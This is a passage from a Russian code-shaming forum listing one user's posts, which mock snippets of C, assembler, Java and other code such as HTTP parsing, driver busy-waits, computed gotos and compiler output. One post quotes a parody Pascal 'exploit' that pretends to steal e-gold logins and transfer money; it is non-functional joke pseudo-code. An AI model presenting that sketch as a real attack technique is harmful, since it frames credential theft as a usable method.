- 35
- 36
- 37
- 38
// https://github.com/vk-com/kphp-kdb/blob/ce1ac4fbde2d3b546936ad07d6a748958f6d2198/net/net-http-server.c#L253 if (D->wlen == 3 && !memcmp (D->word, "GET", 3)) { D->query_type = htqt_get; } else if (D->wlen == 4) { if (!memcmp (D->word, "HEAD", 4)) { D->query_type = htqt_head; } else if (!memcmp (D->word, "POST", 4)) { D->query_type = htqt_post; } } //... if (D->wlen != 0) { /* HTTP/x.y */ if (D->wlen != 8) { c->parse_state = htqp_skiptoeoln; D->query_flags |= QF_ERROR; } else { if (!memcmp (D->word, "HTTP/1.0", 8)) { D->http_ver = HTTP_V10; } else if (!memcmp (D->word, "HTTP/1.1", 8)) { D->http_ver = HTTP_V11; } else { c->parse_state = htqp_skiptoeoln; D->query_flags |= QF_ERROR; } } } ... if (D->wlen == 4 && !strncasecmp (D->word, "host", 4)) { D->query_flags |= QF_HOST; } else if (D->wlen == 10 && !strncasecmp (D->word, "connection", 10)) { D->query_flags |= QF_CONNECTION; } else if (D->wlen == 14 && !strncasecmp (D->word, "content-length", 14)) { D->query_flags |= QF_DATASIZE; } else { D->query_flags &= ~(QF_HOST | QF_DATASIZE | QF_CONNECTION); } //...Великие олимпиадники-оптимизаторы, разработчики kPHP. Лучше сначала проверить длину строки, и только потом, если длина строки подходящая, проверять строку через strncasecmp (очень дорогостоящая операция)
Об их мегагениальных оптимзациях я уже ранее писал: http://govnokod.ru/15406
Но тут наверняка ж можно намного лучше заоптимизировать. Давайте подумаем, как можно улучшить сие творение истинных гениевКомментарии (49) -
Си / Говнокод #19760
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
printf(fmt,x1,x2,x3,x4,x5,x6,x7,x8,x9) char fmt[]; { extern printn, putchar; char s[]; auto adx[], x, c; adx = &x1; /* argument pointer */ loop: while((c = *fmt++) != '%') { if(c == '\0') return; putchar(c); } x = *adx++; switch (c = *fmt++) { case 'd': /* decimal */ case 'o': /* octal */ if(x < 0) { x = -x; if(x<0) { /* is - infinity */ if(c=='o') printf("100000"); else printf("-32768"); goto loop; } putchar('-'); } printn(x, c=='o'?8:10); goto loop; case 'c': /* char */ putchar(x); goto loop; case 's': /* string */ s = x; while(c = *s++) putchar(c); goto loop; } putchar('%'); fmt--; adx--; goto loop; }from http://minnie.tuhs.org/cgi-bin/utree.pl?file=V2/lib/printf.c
Комментарии (32) -
Куча / Говнокод #19677
−1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
(* basic power axiom safe_comp_power x y = case (x = 0) and (y <> 0) -> 1 (x = 1) -> x ((x <> 0) and (y >= 0)) or ((x = 0) and (y > 0)) -> x * (safe_comp_power x (y - 1)) *) logic safe_comp_pow : int, int -> int axiom safe_comp_pow_int_A_1 : forall x : int. (x <> 0) -> safe_comp_pow(x, 0) = 1 axiom safe_comp_pow_int_A_2 : forall x : int. safe_comp_pow(x, 1) = x axiom safe_comp_pow_int_A_3 : forall x,y : int. ((x <> 0) and (y >= 0)) or ((x = 0) and (y > 0)) -> safe_comp_pow(x, y) = x*(safe_comp_pow(x,y-1)) goal g_1 : forall a,n : int. a <> 0 -> n >= 0 -> safe_comp_pow(a,n+1) = safe_comp_pow(a,n)*aЯзык для SMT солвера alt-ergo https://alt-ergo.ocamlpro.com/try.php . Аксиомы для возведения в степень. Возводить в отрицательную степень нельзя. Ноль в степени ноль - нельзя. Логика первого порядка. Должна быть справедлива для целых. Правда в одной аксиоме я допустил баг. Я его уже нашел. Можете тоже попробовать найти его
Комментарии (19) -
Си / Говнокод #19625
−48
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
uint8_t n1[][2] = {{1,2}, {3,4}, {5,6}, {99,88}}; uint8_t n2[][2] = {{7,8}, {9,10}, {11,12}, {99,88}}; uint8_t n3[][2] = {{13,14}, {15,16}, {17,18}, {99,88}}; // Надо сделать массив из указателей на двумерные массивы uint8_t (*ars[3])[2] = { n1, n2, n3}; // полная херня, нечитаемо typeof( typeof(uint8_t [2]) *) ars2[3] = {n1, n2, n3}; // можно так typeof( typeof(uint8_t [2]) *[3]) ars3 = {n1, n2, n3}; // можно еще так typeof(uint8_t (*)[2]) ars4[3] = {n1, n2, n3}; // во, теперь заебись!Почему в Си так по-дебильному надо объявлять всякие массивы указателей на двумерные массивы и тому подобную херню? Через typeof получается куда понятней
Комментарии (65) -
Си / Говнокод #19491
−48
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
/* * mfi_tbolt_adp_reset - For controller reset * @regs: MFI register set */ int mfi_tbolt_adp_reset(struct mfi_softc *sc) { int retry = 0, i = 0; int HostDiag; MFI_WRITE4(sc, MFI_WSR, 0xF); MFI_WRITE4(sc, MFI_WSR, 4); MFI_WRITE4(sc, MFI_WSR, 0xB); MFI_WRITE4(sc, MFI_WSR, 2); MFI_WRITE4(sc, MFI_WSR, 7); MFI_WRITE4(sc, MFI_WSR, 0xD); for (i = 0; i < 10000; i++) ; HostDiag = (uint32_t)MFI_READ4(sc, MFI_HDR); while (!( HostDiag & DIAG_WRITE_ENABLE)) { for (i = 0; i < 1000; i++); HostDiag = (uint32_t)MFI_READ4(sc, MFI_HDR); device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: retry time=%x, " "hostdiag=%x\n", retry, HostDiag); if (retry++ >= 100) return 1; } device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: HostDiag=%x\n", HostDiag); MFI_WRITE4(sc, MFI_HDR, (HostDiag | DIAG_RESET_ADAPTER)); for (i=0; i < 10; i++) { for (i = 0; i < 10000; i++); // <--- двойной говнокод. } HostDiag = (uint32_t)MFI_READ4(sc, MFI_RSR); while (HostDiag & DIAG_RESET_ADAPTER) { for (i = 0; i < 1000; i++) ; HostDiag = (uint32_t)MFI_READ4(sc, MFI_RSR); device_printf(sc->mfi_dev, "ADP_RESET_TBOLT: retry time=%x, " "hostdiag=%x\n", retry, HostDiag); if (retry++ >= 1000) return 1; } return 0; }https://svnweb.freebsd.org/base/head/sys/dev/mfi/mfi_tbolt.c?view=markup&pathrev=235016#l 145
Двойной говнокод. Мало того, что такие задержки на циклах попросту бесполезны, любой нормальный компилятор их выбросит при оптимизации, так там еще и ошибка с переиспользованием переменной i из внешнего цикла во внутреннемКомментарии (13) -
Си / Говнокод #19423
−43
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
#include <inttypes.h> uint64_t pow_(uint64_t num, uint8_t pow) { static const void *array_pow[] = { &&l0, &&l1, &&l2, &&l3, &&l4, &&l5, &&l6,/* ....*/ }; uint64_t ret = 1; goto *array_pow[pow]; /* ... */ l6: ret *=num; l5: ret *=num; l4: ret *=num; l3: ret *=num; l2: ret *=num; l1: ret *=num; l0: return ret; }Царский анролл возведения в степень через gcc-шные goto. Сам придумал. Но тут еще вот какая западня. Оптимизируется он хреново. Например, если взять возведение в степень 6 http://goo.gl/6SK2et
то можно обойтись 3 инструкциями imul в то время как в хрени с метками их целых 6.Комментарии (70) -
Assembler / Говнокод #19395
+76
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
.global shit .type shit, @function shit: /* prologue: function */ /* frame size = 0 */ /* stack size = 0 */ .L__stack_usage = 0 mov r30,r24 mov r31,r25 ldd r18,Z+1 ldd r22,Z+2 mov r24,r22 ldi r25,0 ldi r26,0 ldi r27,0 mov r26,r24 mov r27,r25 clr r25 clr r24 or r25,r18 ld r18,Z or r24,r18 ldd r18,Z+3 mov r22,r24 mov r23,r25 mov r24,r26 mov r25,r27 or r25,r18 ret .size shit, .-shitВот такое ГЛОБАЛЬНОЕ ГОВНО мне делает GCC под AVR
Код разворота байтиков:
unsigned long int shit(unsigned char *a) { return ( unsigned long int)a[0] << 0 | ((unsigned long int)a[1] << 8 ) | ((unsigned long int)a[2] << 16) | ((unsigned long int)a[3] << 24); }
Вот другие попытки это сделать, чтоб компилятор сделал более оптимально http://goo.gl/3D2Lri - ссылка на gcc.godbolt.org
У меня есть собранный через crosstools-ng более новый gcc под AVR, вот выхлоп с него для тех же примеров, что и в godbolt https://paste.debian.net/378491/
Там __builtin_bswap32() становится rcall __bswapsi2, но этот __bswapsi2 состоит из двух сраных инструкций
gcc/libgcc/config/avr/lib1funcs.S
#if defined (L_bswapsi2) ;; swap bytes ;; r25:r22 = bswap32 (r25:r22) DEFUN __bswapsi2 bswap r22, r25 bswap r23, r24 ret ENDF __bswapsi2 #endif /* defined (L_bswapsi2) */
ТАК ПОЧЕМУ Б ТУПО НЕ ЗАИНЛАЙНИТЬ ЭТО?Комментарии (38)-
Си / Говнокод #19383
−50
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
#define OP(a,b,op) ((a)op(b)) #define MKFUNC_a_op_b(type, opname, op) void type##_##opname##_##type(const void *a, const void *b, void *out) \ {\ type tmp = OP(*(type*)a,*(type*)b,op);\ memcpy(out,(void*)(&tmp),sizeof(type));\ } #define MKALLF_int(type) \ MKFUNC_a_op_b(type,plus,+) MKFUNC_a_op_b(type,minus,-) \ MKFUNC_a_op_b(type,div,/) MKFUNC_a_op_b(type,mod,%) \ MKFUNC_a_op_b(type,and,&) MKFUNC_a_op_b(type,or,|) \ MKFUNC_a_op_b(type,xor,^) MKALLF_int(int8_t) MKALLF_int(uint8_t) MKALLF_int(int16_t) MKALLF_int(uint16_t) MKALLF_int(int32_t) MKALLF_int(uint32_t) MKALLF_int(int64_t) MKALLF_int(uint64_t) #define MKFUNC_conv_t(type1, type2) void type1##_to_##type2(const void *a, void *out) \ {\ type2 tmp = (type2)(*(type1*)a);\ memcpy(out,(void*)(&tmp),sizeof(type2));\ } #define MKFUNC_con_M(type) \ MKFUNC_conv_t(type, int8_t) \ MKFUNC_conv_t(type, uint8_t) \ MKFUNC_conv_t(type, int16_t) \ MKFUNC_conv_t(type, uint16_t) \ MKFUNC_conv_t(type, int32_t) \ MKFUNC_conv_t(type, uint32_t) \ MKFUNC_conv_t(type, int64_t) \ MKFUNC_conv_t(type, uint64_t) MKFUNC_con_M(int8_t) MKFUNC_con_M(uint8_t) MKFUNC_con_M(int16_t) MKFUNC_con_M(uint16_t) MKFUNC_con_M(int32_t) MKFUNC_con_M(uint32_t) MKFUNC_con_M(int64_t) MKFUNC_con_M(uint64_t)Это я типа такую заготовку для стековой ВМ делаю, определяю операции(инструкции) для опкодов кагбэ. Потом у меня там будет массив указателей на функции, ну и я их буду вызывать, пропихивая аргументы. Но похоже что сишный препроцессор это говно полное, и надо кодогеренератор для набора такой ерунды делать.
Комментарии (19) -
Си / Говнокод #19367
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
#include <stdio.h> #include <inttypes.h> typedef struct {uint32_t dummy;} str32; int main (void) { // тут получаются нули printf("%zu\n", sizeof( struct {uint32_t;} ) ); printf("%zu\n", sizeof( (struct {uint32_t;}){} ) ); // а тут получаются 4 как и планировалось printf("%zu\n", sizeof( str32 ) ); printf("%zu\n", sizeof(uint32_t) ); return 0; }Попытки получить размер анонимной структуры. Компиляторы clang gcc icc под линупсом почему-то возвращают 0. Не может же это быть багом сразу в трех компиляторах?
Комментарии (13) -
C++ / Говнокод #19340
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
#define EncryptAES256(sched) \ "pxor (%["#sched"]), %%xmm0 \n" \ "aesenc 16(%["#sched"]), %%xmm0 \n" \ "aesenc 32(%["#sched"]), %%xmm0 \n" \ "aesenc 48(%["#sched"]), %%xmm0 \n" \ "aesenc 64(%["#sched"]), %%xmm0 \n" \ "aesenc 80(%["#sched"]), %%xmm0 \n" \ "aesenc 96(%["#sched"]), %%xmm0 \n" \ "aesenc 112(%["#sched"]), %%xmm0 \n" \ "aesenc 128(%["#sched"]), %%xmm0 \n" \ "aesenc 144(%["#sched"]), %%xmm0 \n" \ "aesenc 160(%["#sched"]), %%xmm0 \n" \ "aesenc 176(%["#sched"]), %%xmm0 \n" \ "aesenc 192(%["#sched"]), %%xmm0 \n" \ "aesenc 208(%["#sched"]), %%xmm0 \n" \ "aesenclast 224(%["#sched"]), %%xmm0 \n" void ECBEncryptionAESNI::Encrypt (const ChipherBlock * in, ChipherBlock * out) { __asm__ ( "movups (%[in]), %%xmm0 \n" EncryptAES256(sched) "movups %%xmm0, (%[out]) \n" : : [sched]"r"(GetKeySchedule ()), [in]"r"(in), [out]"r"(out) : "%xmm0", "memory" ); }https://github.com/PurpleI2P/i2pd/blob/openssl/Crypto.cpp принципиально новый подход - определять дефайном какое-то макроговно, чтобы потом его использовать внутри асмовставок
Комментарии (9) -
Си / Говнокод #19299
−44
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
#include <stdio.h> #include <stdlib.h> void push(unsigned int a, unsigned int **stackpp) { **stackpp = a; (*stackpp)++; } unsigned int pop(unsigned int **stackpp) { (*stackpp)--; return **stackpp; } unsigned int fib(unsigned int a) { unsigned int stack[10000] = {0}; unsigned int *stackp = stack; // локальные дефайны #define PUSH(x) push(x, &stackp) #define POP() pop(&stackp) relative_label: PUSH( (int)(&&result - &&relative_label ) ); PUSH(a); goto shit; result: return POP(); shit: while(stackp != stack) { unsigned int tmp = POP(); //printf("tmp = %u\n", tmp); отладочная перчать fflush(stdout); if (tmp == 0) { int _ret = POP(); PUSH(0); goto *(&&relative_label + _ret); } else if (tmp == 1) { int _ret = POP(); PUSH(1); goto *(&&relative_label + _ret); } else { PUSH(tmp-2); // предварительно сохраняем PUSH( (int)(&&after_p1 - &&relative_label) ); PUSH(tmp-1); continue; after_p1: ; unsigned int tmp1 = POP(); // возвращенное значение unsigned int tmp2 = POP(); // предварительно сохраненное PUSH(tmp1); PUSH( (int)(&&after_p2 - &&relative_label) ); PUSH(tmp2); continue; after_p2: ; unsigned int val = POP()+POP(); int _ret = POP(); PUSH(val); goto *(&&relative_label + _ret); } } // ERROR - стек размотался. Такого быть не должно exit(-1); // убираем локальные дефайны #undef PUSH #undef POP } int main(void) { for(unsigned int i = 0; i < 30; i++) { printf("%u ", fib(i)); } return 0; }Этим кодом я доказывал одному типу какой-то бред, связанный с рекурсией. Типа он считал что ее нельзя реализовать через сраные циклы со стеком(или может просто хотел посмотреть на такую реализацию).
Надо короче сделать локальный #define чтобы он автоматически #undef при выходе из области видимости фукнции.Комментарии (17) -
Pascal / Говнокод #19289
−46
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
свежий 0дэй сплоит для вороства денег с лоховского аккаунта на e-gold сплоит сам находит лоховской акк и переводит деньги хакеру компилировать паскалем 4.0 опытный хакер сам найдет ошибки и исправит их это приватная версия сплоита, просьба не распростронять вне форума!!! programm 0day_egold_back_sploit var babki:longint; begin connect("e-gold.com",80); goto("money.hmtl"); authorize(steal(random,"login"),steal(random,"password")); transfer(babki,fucked_login,hacker_login); writeln("Loh has been hacked!"); disconnect; end.http://bh-crew.livejournal.com/9875.html
Комментарии (18) -
Си / Говнокод #19280
−1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
// Add a UPnP port bool Win32UPnPAddPort(UINT outside_port, UINT inside_port, bool udp, char *local_ip, wchar_t *description, bool remove_before_add) { bool ret = false; HRESULT hr; IUPnPNAT *nat = NULL; wchar_t ip_str[MAX_SIZE]; BSTR bstr_ip, bstr_description, bstr_protocol; wchar_t *protocol_str = (udp ? L"UDP" : L"TCP"); // Validate arguments if (outside_port == 0 || outside_port >= 65536 || inside_port == 0 || inside_port >= 65536 || IsEmptyStr(local_ip) || UniIsEmptyStr(description)) { return false; } StrToUni(ip_str, sizeof(ip_str), local_ip); bstr_ip = SysAllocString(ip_str); bstr_description = SysAllocString(description); bstr_protocol = SysAllocString(protocol_str); hr = CoCreateInstance(CLSID_UPnPNAT, NULL, CLSCTX_INPROC_SERVER, IID_IUPnPNAT, (void **)&nat); if (SUCCEEDED(hr)) { if (nat != NULL) { IStaticPortMappingCollection *collection = NULL; hr = nat->get_StaticPortMappingCollection(&collection); if (SUCCEEDED(hr)) { if (collection != NULL) { IStaticPortMapping *mapping = NULL; if (remove_before_add) { hr = collection->Remove((long)outside_port, bstr_protocol); } hr = collection->Add((long)outside_port, bstr_protocol, (long)inside_port, bstr_ip, VARIANT_TRUE, bstr_description, &mapping); if (SUCCEEDED(hr)) { ret = true; if (mapping != NULL) { mapping->Release(); } } collection->Release(); } else { WHERE; } } else { WHERE; } nat->Release(); } else { WHERE; } } else { WHERE; } SysFreeString(bstr_ip); SysFreeString(bstr_description); SysFreeString(bstr_protocol); return ret; }Отсюда https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Win32Com.cpp#L157
Там еще много такого. https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Win32Com.cpp#L963 вот например тоже забавная хрень. Нашел эту штуку по ссылке с говнохабра http://habrahabr.ru/post/208782/Комментарии (9) -
Java / Говнокод #19142
−32
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
MethodHandle mov256MH = CodeSnippet.make("move256", MethodType.methodType(void.class, // return type Object.class /*rdi*/, // src long.class /*rsi*/, // offset Object.class /*rdx*/, // dst long.class /*rcx*/), // offset CPUID.has(AVX), 0xC4, 0xE1, 0x7E, 0x6F, 0x04, 0x37, // vmovdqu ymm0,[rsi+rdi] 0xC4, 0xE1, 0x7E, 0x7F, 0x04, 0x0A); // vmovdqu [rdx+rcx],ymm0 static void move256(Object src, long off1, Object dst, long off2) { try { mov256MH.invokeExact(src, off1, dst, off2); } catch (Throwable e) { throw new Error(e); } } byte[] src = ...; long off1 = ...; byte[] dst = ...; long off2 = ...; move256(src, off1, dst, off2);Вставка машинного кода (прямо как в http://govnokod.ru/19017 ) теперь и в Java
http://mail.openjdk.java.net/pipermail/panama-dev/2015-December/000225.htmlКомментарии (76) -
Си / Говнокод #19119
−98
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
void *_band_get_aligned(Band *p, size_t alignment, size_t size) { Block *which; ListNode *x; if (!__mallocsizes_inited) { __malloc_sizes_init(); } assert(size <= p->nbpe); if (alignment != _MALLOC_ALIGN) { size_t esize = p->nbpe + SB_OVERHEAD(); size_t dividend = (alignment / esize); assert(alignment >= _MALLOC_ALIGN); if (dividend > p->nalloc || (alignment != _MALLOC_ALIGN && dividend * esize != alignment)) { /* not an even multiple */ errno = EINVAL; return NULL; } } if ((which = p->alist) != NULL) { if (alignment != _MALLOC_ALIGN) { x = (ListNode *)_block_memalign(p, which, alignment); } else { x = (ListNode *)_block_mem_malloc_align(p, which); } if (x != NULL) { #ifdef STATISTICS p->alloc_counter++; #endif x->ln_offset = (char *)which - (char *)x; assert(x->ln_offset < 0); assert(which->navail > 0); /* * If no more blocks, put this on the depleted-list */ if (--which->navail == 0) { Block *b; assert(which->head == NULL); assert(which->prev == NULL); /* * Simple delete -- which is first. */ p->alist = b = which->next; if (b) b->prev = NULL; /* * insert into d(epleted)list */ which->next = b = p->dlist; p->dlist = which; if (b) b->prev = which; } _malloc_stats.m_small_allocmem += p->nbpe; _malloc_stats.m_small_freemem -= p->nbpe; return x+1; } } if ((which = band_addblk(p)) == NULL) { return 0; /* failed */ } assert(which->navail); return _band_get_aligned(p, alignment, size); }[color=blue]http://sourceforge.net/p/monartis/openqnx/ci/master/tree/trunk/lib/c/alloc/band.c#l346[color] - рекурсия в аллокаторе QNX. Некоторые компиляторы эту рекурсию оптимизируют, некоторые - нет. И когда не оптимизируют, она способна при определенных условия выжрать стек, что приводит к сегфолту, например как тут [color=blue]http://www.openqnx.com/phpbbforum/viewtopic.php?f=7&t=12896&view=print[color]
Комментарии (10) -
Си / Говнокод #19117
−100
- 1
https://youtu.be/sm-W4Tzg9-o?t=692Анимированные 3D модели в С коде. К сожалению, передать это в виде текста не представляется возможным.
Комментарии (18) -
Си / Говнокод #19105
−96
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
#include <stdio.h> #include <inttypes.h> int main() { int arr[] = {34, 12, 24, 65, 63, 22}; size_t arraySize = (sizeof(arr) / sizeof(*arr)); size_t i; startloop1:; void * loop1val = &&endloop1; i = 0; startloop2: goto *( (void *[]){&&noexchange, &&exchange}[arr[i] >= arr[i+1]]); exchange:; int tmp; tmp=arr[i]; arr[i]=arr[i+1]; arr[i+1]=tmp; loop1val = &&startloop1; noexchange: i++; goto *( (void *[]){&&startloop2, &&endloop2}[i >= arraySize-1]); endloop2: goto *loop1val; endloop1: i = 0; startloop3: printf("%i ", arr[i]); i++; goto *( (void *[]){&&startloop3, &&endloop3}[i >= arraySize]); endloop3: return 0; }На говнохабре http://habrahabr.ru/post/269875/ очередная хуита написана, вот типа напишите сортировку не используя if. Но в том коде есть циклы, любой настоящий программист знает, что циклы это по сути то же самое, что и if(условие) goto куда-тотам. Как написано в одном фундаментальном труде http://www.lib.ru/ANEKDOTY/non_pas.txt
- поскольку в Фортране отсутствуют структурные операторы IF,
REPEAT ... UNTIL или CASE, настоящим программистам не
нужно беспокоиться, что они их не используют; кроме того
эти операторы можно при необходимости симулировать с
помощью присваиваемых GOTO.
Пользуясь этой вселенской мудростью, а так же зная про наличие присваиваемых goto в gcc, решил я сей код написать.Комментарии (785)-
C++ / Говнокод #18139
+142
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
typedef enum { INIT1=0, INIT2, INIT3, INIT4, INIT5, INIT6, INITN, BIND1, BIND2, BIND3, BIND4, BIND5, BIND6, BINDN, YIELD1, YIELD2, YIELD3, YIELD4, YIELD5, YIELD6, YIELDN, COMPARE, CHECK, FILTER, CFILTER, PFILTER, CHOOSE, NOOP, CONTINUE, GET_ENODE, GET_CGR1, GET_CGR2, GET_CGR3, GET_CGR4, GET_CGR5, GET_CGR6, GET_CGRN, IS_CGR } opcode; ... ... ... switch (m_pc->m_opcode) { case INIT1: m_app = m_registers[0]; if (m_app->get_num_args() != 1) goto backtrack; m_registers[1] = m_app->get_arg(0); m_pc = m_pc->m_next; goto main_loop; case INIT2: m_app = m_registers[0]; if (m_app->get_num_args() != 2) goto backtrack; m_registers[1] = m_app->get_arg(0); m_registers[2] = m_app->get_arg(1); m_pc = m_pc->m_next; goto main_loop; case INIT3: m_app = m_registers[0]; if (m_app->get_num_args() != 3) goto backtrack; m_registers[1] = m_app->get_arg(0); m_registers[2] = m_app->get_arg(1); m_registers[3] = m_app->get_arg(2); m_pc = m_pc->m_next; goto main_loop; case INIT4: m_app = m_registers[0]; if (m_app->get_num_args() != 4) goto backtrack; m_registers[1] = m_app->get_arg(0); m_registers[2] = m_app->get_arg(1); m_registers[3] = m_app->get_arg(2); m_registers[4] = m_app->get_arg(3); m_pc = m_pc->m_next; goto main_loop; case INIT5: m_app = m_registers[0]; if (m_app->get_num_args() != 5) goto backtrack; m_registers[1] = m_app->get_arg(0); m_registers[2] = m_app->get_arg(1); m_registers[3] = m_app->get_arg(2); m_registers[4] = m_app->get_arg(3); m_registers[5] = m_app->get_arg(4); m_pc = m_pc->m_next; goto main_loop; case INIT6: m_app = m_registers[0]; if (m_app->get_num_args() != 6) goto backtrack; m_registers[1] = m_app->get_arg(0); m_registers[2] = m_app->get_arg(1); m_registers[3] = m_app->get_arg(2); m_registers[4] = m_app->get_arg(3); m_registers[5] = m_app->get_arg(4); m_registers[6] = m_app->get_arg(5); m_pc = m_pc->m_next; goto main_loop; case INITN: m_app = m_registers[0]; m_num_args = m_app->get_num_args(); if (m_num_args != static_cast<const initn *>(m_pc)->m_num_args) goto backtrack; for (unsigned i = 0; i < m_num_args; i++) m_registers[i+1] = m_app->get_arg(i); m_pc = m_pc->m_next; goto main_loop;Из изходников STM-солвера Z3
https://github.com/Z3Prover/z3/blob/master/src/smt/mam.cpp#L2298
Почему нельзя было оставить только вариант INITN? Цикл отбирает так много ресурсов?Комментарии (2) -
Си / Говнокод #18030
+142
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
